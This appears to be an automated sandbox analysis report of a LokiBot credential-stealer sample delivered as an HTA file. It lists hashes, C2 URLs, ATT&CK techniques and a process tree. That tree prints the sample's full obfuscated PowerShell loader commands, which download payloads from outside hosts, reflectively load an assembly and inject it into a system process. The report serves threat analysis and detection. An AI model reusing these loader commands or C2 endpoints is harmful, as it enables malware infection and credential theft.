lokibot | e25677838f8394ed8b59c431e454e3bd0ec107421ef1a2502c5167bdd1340ddc

Analysis

max time kernel
142s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28-10-2024 10:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

greatthingsalwayshappeningwithgreatattitudewithgoodnews.hta
Size

131KB
MD5

cbb8dddfef9d1d2893d4a4b51b4f0dab
SHA1

595c2221b9613342ed4a82c235ea19fe9c0383f9
SHA256

e25677838f8394ed8b59c431e454e3bd0ec107421ef1a2502c5167bdd1340ddc
SHA512

1daa9c96c9ba2e6e1939ab2b82e9a8f771f9ba0d4c4d088214864034aa9084483c1f42e5436f32043809a0346f0d59d84eb902946e6f1672175e22cac042d4a4
SSDEEP

192:4vCFXMFgYPCgYmHUCYc6dEMoyzsDxgYtaXQ:0CF8qYPRYmHU1Jyh2saYtag

Score

10^/10

lokibot collection defense_evasion discovery execution spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Extracted

Family

lokibot

http://94.156.177.220/simple/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot
Lokibot family
lokibot
Blocklisted process makes network request 4 IoCs

Processes:

poWersHElL.eXepowershell.exe

flow pid process

13 3684 poWersHElL.eXe
27 4420 powershell.exe
30 4420 powershell.exe
34 4420 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

3664 powershell.exe
4420 powershell.exe
Evasion via Device Credential Deployment 2 IoCs
defense_evasion execution

Processes:

poWersHElL.eXepowershell.exe

pid process

3684 poWersHElL.eXe
1208 powershell.exe

flow	pid	process
13	3684	poWersHElL.eXe
27	4420	powershell.exe
30	4420	powershell.exe
34	4420	powershell.exe

pid	process
3664	powershell.exe
4420	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

mshta.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

aspnet_regbrowsers.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	aspnet_regbrowsers.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	aspnet_regbrowsers.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_regbrowsers.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

26 drive.google.com
27 drive.google.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4420 set thread context of 2636 4420 powershell.exe aspnet_regbrowsers.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
26	drive.google.com
27	drive.google.com

description	pid	process	target process
PID 4420 set thread context of 2636	4420	powershell.exe	aspnet_regbrowsers.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cvtres.exeWScript.exepowershell.exepowershell.exemshta.exepoWersHElL.eXepowershell.execsc.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	poWersHElL.eXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe

Modifies registry class 1 IoCs

Processes:

poWersHElL.eXe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings poWersHElL.eXe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings	poWersHElL.eXe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

poWersHElL.eXepowershell.exepowershell.exepowershell.exe

pid	process
3684	poWersHElL.eXe
3684	poWersHElL.eXe
1208	powershell.exe
1208	powershell.exe
3664	powershell.exe
3664	powershell.exe
3664	powershell.exe
4420	powershell.exe
4420	powershell.exe
4420	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

poWersHElL.eXepowershell.exepowershell.exepowershell.exeaspnet_regbrowsers.exe

description	pid	process
Token: SeDebugPrivilege	3684	poWersHElL.eXe
Token: SeDebugPrivilege	1208	powershell.exe
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeDebugPrivilege	4420	powershell.exe
Token: SeDebugPrivilege	2636	aspnet_regbrowsers.exe

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

mshta.exepoWersHElL.eXecsc.exeWScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1800 wrote to memory of 3684	1800	mshta.exe	poWersHElL.eXe
PID 1800 wrote to memory of 3684	1800	mshta.exe	poWersHElL.eXe
PID 1800 wrote to memory of 3684	1800	mshta.exe	poWersHElL.eXe
PID 3684 wrote to memory of 1208	3684	poWersHElL.eXe	powershell.exe
PID 3684 wrote to memory of 1208	3684	poWersHElL.eXe	powershell.exe
PID 3684 wrote to memory of 1208	3684	poWersHElL.eXe	powershell.exe
PID 3684 wrote to memory of 4092	3684	poWersHElL.eXe	csc.exe
PID 3684 wrote to memory of 4092	3684	poWersHElL.eXe	csc.exe
PID 3684 wrote to memory of 4092	3684	poWersHElL.eXe	csc.exe
PID 4092 wrote to memory of 5088	4092	csc.exe	cvtres.exe
PID 4092 wrote to memory of 5088	4092	csc.exe	cvtres.exe
PID 4092 wrote to memory of 5088	4092	csc.exe	cvtres.exe
PID 3684 wrote to memory of 3732	3684	poWersHElL.eXe	WScript.exe
PID 3684 wrote to memory of 3732	3684	poWersHElL.eXe	WScript.exe
PID 3684 wrote to memory of 3732	3684	poWersHElL.eXe	WScript.exe
PID 3732 wrote to memory of 3664	3732	WScript.exe	powershell.exe
PID 3732 wrote to memory of 3664	3732	WScript.exe	powershell.exe
PID 3732 wrote to memory of 3664	3732	WScript.exe	powershell.exe
PID 3664 wrote to memory of 4420	3664	powershell.exe	powershell.exe
PID 3664 wrote to memory of 4420	3664	powershell.exe	powershell.exe
PID 3664 wrote to memory of 4420	3664	powershell.exe	powershell.exe
PID 4420 wrote to memory of 2636	4420	powershell.exe	aspnet_regbrowsers.exe
PID 4420 wrote to memory of 2636	4420	powershell.exe	aspnet_regbrowsers.exe
PID 4420 wrote to memory of 2636	4420	powershell.exe	aspnet_regbrowsers.exe
PID 4420 wrote to memory of 2636	4420	powershell.exe	aspnet_regbrowsers.exe
PID 4420 wrote to memory of 2636	4420	powershell.exe	aspnet_regbrowsers.exe
PID 4420 wrote to memory of 2636	4420	powershell.exe	aspnet_regbrowsers.exe
PID 4420 wrote to memory of 2636	4420	powershell.exe	aspnet_regbrowsers.exe
PID 4420 wrote to memory of 2636	4420	powershell.exe	aspnet_regbrowsers.exe
PID 4420 wrote to memory of 2636	4420	powershell.exe	aspnet_regbrowsers.exe

outlook_office_path 1 IoCs

Processes:

aspnet_regbrowsers.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_regbrowsers.exe

outlook_win_path 1 IoCs

Processes:

aspnet_regbrowsers.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	aspnet_regbrowsers.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\greatthingsalwayshappeningwithgreatattitudewithgoodnews.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\SysWOW64\wInDOwsPoWershelL\V1.0\poWersHElL.eXe
  "C:\Windows\sYSTem32\wInDOwsPoWershelL\V1.0\poWersHElL.eXe" "poWeRsHelL -EX bypass -nOp -W 1 -c devICEcRedEnTiALDePLOYMEnt ; Iex($(Iex('[SysTeM.TeXT.eNcodinG]'+[cHar]0X3A+[CHar]58+'uTf8.getstRINg([SYStem.coNverT]'+[ChAr]58+[CHAr]0X3a+'FrOMbase64string('+[CHar]34+'JExQeDFxblA4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJlckRFRmluaVRJb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSTE1PTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHp4dixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY1F3WUNWRXp3LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3Y09BdkJkQ09qaix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJvcFhURixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZUZzYngiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVW94dVR4VnNtUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTFB4MXFuUDg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguNDYuMTc4LjE1NS8zMTEvc2VldGhlYmVzdHBpY3R1cmV3aXRoZ3JlYXRuZXdzd2l0aGdvb2R0aGluZ3N0b2Rvd2l0aG1lLnRJRiIsIiRFTlY6QVBQREFUQVxzZWV0aGViZXN0cGljdHVyZXdpdGhncmVhdG5ld3N3aXRoZ29vZHRoaW5nLnZiUyIsMCwwKTtzVGFyVC1zbEVFUCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3RwaWN0dXJld2l0aGdyZWF0bmV3c3dpdGhnb29kdGhpbmcudmJTIg=='+[Char]34+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3684
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bypass -nOp -W 1 -c devICEcRedEnTiALDePLOYMEnt
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1208
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\juoso2or\juoso2or.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4092
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD4F3.tmp" "c:\Users\Admin\AppData\Local\Temp\juoso2or\CSC3116873777BD40389A6E3ACCB3B3F57.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5088
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestpicturewithgreatnewswithgoodthing.vbS"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3732
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWUt3aScrJ21hZ2VVcmwgPSBJSG1odHRwczovL2RyaScrJ3ZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciBJSG07WUt3d2ViQ2xpZW50JysnID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtZS3dpbWFnZUJ5dGVzID0gWUt3d2ViQ2wnKydpZW50LkRvd25sb2FkRGF0YShZS3dpbWFnZVVybCk7WUt3aW0nKydhZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHInKydpbmcoWUt3aW1hZ2VCeXRlcyk7WUt3c3QnKydhcnRGJysnbGFnID0gSUhtPDxCQVNFNjRfU1RBUlQ+PklIbTtZS3dlbmRGbGFnID0gSUhtPDxCQVNFNjRfRU5EPj5JSG07WUt3c3RhcnRJbmRleCA9IFlLd2ltYWdlVGV4dC5JJysnbmRleE9mKFlLd3N0YScrJ3J0RmxhZyk7WUt3ZW5kSW5kZXggPSBZS3dpbWFnZVRleHQuSW5kZXhPZihZS3dlbmRGbGFnKTtZS3dzdGFydEluZGV4IC1nZSAwIC1hbmQgWUt3ZW5kSW5kZXggJysnLWd0IFlLd3N0YXJ0SW5kZXg7WUt3c3RhcnRJbmRleCArPSBZS3dzdGFydEZsYWcuTGVuZ3RoO1lLd2Jhc2U2NExlbmd0JysnaCA9IFlLd2VuZEluZGV4IC0gWUt3c3RhcnRJbmRleDtZS3diYXNlNjRDb21tYW5kID0gWUt3aW1hZ2VUZXh0LlN1YnN0cmluZyhZS3dzdGFydEluZGV4LCBZS3diYXNlNjRMZW5ndGgpO1lLd2Jhc2U2NFJldicrJ2Vyc2VkID0gLWpvaW4gKFlLd2Jhc2U2NENvbW1hbmQnKycuVG9DaGEnKydyQXJyYXkoKSBWSFUgRm9yJysnRWFjaC1PYmonKydlY3QnKycgJysneyBZSycrJ3dfIH0pWy0xLi4tKCcrJ1lLd2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07WUt3Y29tbWFuZEJ5dGVzID0gWycrJ1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhZS3diYXMnKydlNjRSZXZlcnNlZCk7WUt3bG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzJysnZW1ibHknKyddOjpMb2FkKFlLJysnd2MnKydvbW1hbmRCeXRlcyk7WUt3dmFpTWV0aG9kID0gW2RubGliLklPLkhvbWUnKyddLkdldE1ldGhvZChJSG1WQUlJSG0pO1lLd3ZhaU1ldGhvZC5JbnZvJysna2UoWUt3bnVsbCwgQChJSG10eHQuUEwnKydMUE1TLzExMy81NTEuODcxLjY0JysnLjg5MS8vOnB0dGhJSG0sIElIbWRlc2F0aXZhZG9JSG0sIElIJysnbWRlc2F0aXZhZG9JSG0sIElIJysnbWRlc2F0aXZhZG9JJysnSG0sIElIbWFzcG5ldF9yZWdicm93c2Vyc0lIbSwgSUhtZGVzYXRpdmFkb0lIbSwgSUhtZGVzYXRpdmFkb0lIJysnbSxJSG0nKydkZXNhdGl2YWRvSUhtLElIbWRlc2F0aXZhZG9JJysnSG0sSUhtZGVzYXRpdmFkb0lIbSxJSG1kZXNhdGl2YWRvSUhtLElIbWRlc2F0aXZhZG9JSG0sSUhtMUlIbSxJSG1kZXNhdGl2YWRvSUhtKSk7JyktQ1JFcExhQ2UoW2NoQXJdODkrW2NoQXJdNzUrW2NoQXJdMTE5KSxbY2hBcl0zNiAtUkVwTEFjZSAgKFtjaEFyXTczK1tjaEFyXTcyK1tjaEFyXTEwOSksW2NoQXJdMzkgLVJFcExBY2UgIChbY2hBcl04NitbY2hBcl03MitbY2hBcl04NSksW2NoQXJdMTI0KSB8JiAoICRzaEVsTGlkWzFdKyRzaEVMbElEWzEzXSsnWCcp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3664
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('YKwi'+'mageUrl = IHmhttps://dri'+'ve.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur IHm;YKwwebClient'+' = New-Object System.Net.WebClient;YKwimageBytes = YKwwebCl'+'ient.DownloadData(YKwimageUrl);YKwim'+'ageText = [System.Text.Encoding]::UTF8.GetStr'+'ing(YKwimageBytes);YKwst'+'artF'+'lag = IHm<<BASE64_START>>IHm;YKwendFlag = IHm<<BASE64_END>>IHm;YKwstartIndex = YKwimageText.I'+'ndexOf(YKwsta'+'rtFlag);YKwendIndex = YKwimageText.IndexOf(YKwendFlag);YKwstartIndex -ge 0 -and YKwendIndex '+'-gt YKwstartIndex;YKwstartIndex += YKwstartFlag.Length;YKwbase64Lengt'+'h = YKwendIndex - YKwstartIndex;YKwbase64Command = YKwimageText.Substring(YKwstartIndex, YKwbase64Length);YKwbase64Rev'+'ersed = -join (YKwbase64Command'+'.ToCha'+'rArray() VHU For'+'Each-Obj'+'ect'+' '+'{ YK'+'w_ })[-1..-('+'YKwbase64Command.Length)];YKwcommandBytes = ['+'System.Convert]::FromBase64String(YKwbas'+'e64Reversed);YKwloadedAssembly = [System.Reflection.Ass'+'embly'+']::Load(YK'+'wc'+'ommandBytes);YKwvaiMethod = [dnlib.IO.Home'+'].GetMethod(IHmVAIIHm);YKwvaiMethod.Invo'+'ke(YKwnull, @(IHmtxt.PL'+'LPMS/113/551.871.64'+'.891//:ptthIHm, IHmdesativadoIHm, IH'+'mdesativadoIHm, IH'+'mdesativadoI'+'Hm, IHmaspnet_regbrowsersIHm, IHmdesativadoIHm, IHmdesativadoIH'+'m,IHm'+'desativadoIHm,IHmdesativadoI'+'Hm,IHmdesativadoIHm,IHmdesativadoIHm,IHmdesativadoIHm,IHm1IHm,IHmdesativadoIHm));')-CREpLaCe([chAr]89+[chAr]75+[chAr]119),[chAr]36 -REpLAce ([chAr]73+[chAr]72+[chAr]109),[chAr]39 -REpLAce ([chAr]86+[chAr]72+[chAr]85),[chAr]124) |& ( $shElLid[1]+$shELlID[13]+'X')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4420
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        6⤵
        Accesses Microsoft Outlook profiles
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:2636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\poWersHElL.eXe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
ad5e9a8f547890e3de69d7bd9927ccd5

SHA1
76ae7b41a787cd6a3cc2d3030ccbe67639597ee3

SHA256
09aec88c72fba508cf8f0e604e283c232c47fd1e50f45182054a4a60cdcedccd

SHA512
a402c5d6eed76a2d50748da0a0d0dd99c8f85674e6e5a2b661dc8b81f2e03ceb5c854cfc1bdf6a39a4cddf846ede0c9cbeb2eed37cbebee791224c516d3c8898

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
cc1bc5afec1ad7912b16dfeac7ca73d1

SHA1
7843c23b89f0cbccf9e81a9d260e0ff2ba68cbc7

SHA256
a120cd8e7fa5f6cfd53bd5809bab96288d4641d9707f7cf328fcea48ba59914f

SHA512
6ecf650561ed2b35f01bfe9d0408509fb8c1fe5042c66ff36ed7fc4d768da4b99828440f03825c231b36803928db09ddd5c74b16c320444dcd9d9ba3091a893a

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESD4F3.tmp

Filesize
1KB

MD5
f6793107c4861a78e2faf0735f48ac39

SHA1
97b85b4cf3f439df416af250c5903a09808108d5

SHA256
ed2de039fa7578c1df6dfedcabf72f9be63fa32e58c1d522358adcee8f7f36a7

SHA512
d0834a8425c5f629bae0ca31c97303b7588a0a65c0221f4086c3abfa3f48ca03ef3b8bed9f051d680582296b2baba545ab94322c1483da6fbc35e48859dba75d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m2ij24zy.bty.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\juoso2or\juoso2or.dll

Filesize
3KB

MD5
b8b5e24ccf45f6e1752ab99ebae137ba

SHA1
ed1f3551827afe462c0a2d5364506bfae2ce3655

SHA256
986c5dc683798c82b9e6bfea687447c3201203475814b90baf3bd06416893cfa

SHA512
1122aca456279318b4c3bc83b8ed56c3c154b2ba01d928e51282e79fbb359d81da48136349d131a36f8240b8ec5a6478c603848f47bf30b54b42d3c840eec97e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2437139445-1151884604-3026847218-1000\0f5007522459c86e95ffcc62f32308f1_4304acb9-c3f6-452a-9860-eb4e85d38d4e

Filesize
46B

MD5
c07225d4e7d01d31042965f048728a0a

SHA1
69d70b340fd9f44c89adb9a2278df84faa9906b7

SHA256
8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

SHA512
23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2437139445-1151884604-3026847218-1000\0f5007522459c86e95ffcc62f32308f1_4304acb9-c3f6-452a-9860-eb4e85d38d4e

Filesize
46B

MD5
d898504a722bff1524134c6ab6a5eaa5

SHA1
e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

SHA256
878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

SHA512
26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

Download Submit
C:\Users\Admin\AppData\Roaming\seethebestpicturewithgreatnewswithgoodthing.vbS

Filesize
136KB

MD5
13dfdead1237ba87391d716cb7031869

SHA1
367e066163db84465a0fdcc50d7e94c29683bfed

SHA256
06e60eee01dabc09b89e85a8f8fd97cc483922022d4b3e37e7887fc299ffe2ef

SHA512
4ce204fdb7e54196a01582b5632ff852be3491d181a5d55999b35f2a5a94285b4c4e0ad4c0a5fee6a005a3e6346da251fe6e7bd88a8a122bfb930a1b5c6be7a2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\juoso2or\CSC3116873777BD40389A6E3ACCB3B3F57.TMP

Filesize
652B

MD5
80cfd0a9b05bb58841e4d57587254b3b

SHA1
7b2600921a7a2b37f3a381ac1f22eb48a60506d1

SHA256
153f6fc53886d3a8893b1866ae940bc55d97d1de3e2be824425a392cc4047ea9

SHA512
bb2a6b815dc6ca4326557a37ba075d954e54d447a91022443b30338151fd3cb05ea4097ceb25a8340cbcbc11f6f122d4fe10c51da1557fb7ad29ade88213c3d8

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\juoso2or\juoso2or.0.cs

Filesize
471B

MD5
e83b90d88bbe5b8ea6cd0ab094761e19

SHA1
56f5f01fa3aeae7c510b2b77a7f19aea657fc23f

SHA256
c7b8263c0f9bb535d56bef1909a17e1d7c5244b4cf9af3a26abae519210da8c0

SHA512
a43eb03a308a404eca6ab5e37b88420fa3fbba3ba94e05710a6f05d7483c04e326af92d38c32c6ceb244c2b72036156410f827ef0205572c918e905cdb8428da

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\juoso2or\juoso2or.cmdline

Filesize
369B

MD5
75748b74e147f1ad9ca0ba3c6b73a41f

SHA1
0bd4d01401665cf51eb17a8938bb91e22c5ebdf5

SHA256
6410e17001f037d5c4868eae49783eb92bee01276702810c7bea08d76dc1466e

SHA512
76923703d6b5bbba71fa78113fe5184ac077128a40fdb4e32ca3eda3f15bbae9065b7ddcb5cf12c22076c050f5906c84e45a7a9cb211ee720c3531d73bb8ab98

Download Submit
memory/1208-29-0x0000000006110000-0x0000000006142000-memory.dmp

Filesize
200KB

Download
memory/1208-30-0x000000006DAF0000-0x000000006DB3C000-memory.dmp

Filesize
304KB

Download
memory/1208-40-0x00000000060F0000-0x000000000610E000-memory.dmp

Filesize
120KB

Download
memory/1208-41-0x0000000006D30000-0x0000000006DD3000-memory.dmp

Filesize
652KB

Download
memory/1208-42-0x00000000074C0000-0x0000000007B3A000-memory.dmp

Filesize
6.5MB

Download
memory/1208-43-0x0000000006E70000-0x0000000006E8A000-memory.dmp

Filesize
104KB

Download
memory/1208-44-0x0000000006ED0000-0x0000000006EDA000-memory.dmp

Filesize
40KB

Download
memory/1208-45-0x0000000007100000-0x0000000007196000-memory.dmp

Filesize
600KB

Download
memory/1208-46-0x0000000007070000-0x0000000007081000-memory.dmp

Filesize
68KB

Download
memory/1208-47-0x00000000070A0000-0x00000000070AE000-memory.dmp

Filesize
56KB

Download
memory/1208-48-0x00000000070B0000-0x00000000070C4000-memory.dmp

Filesize
80KB

Download
memory/1208-49-0x00000000071C0000-0x00000000071DA000-memory.dmp

Filesize
104KB

Download
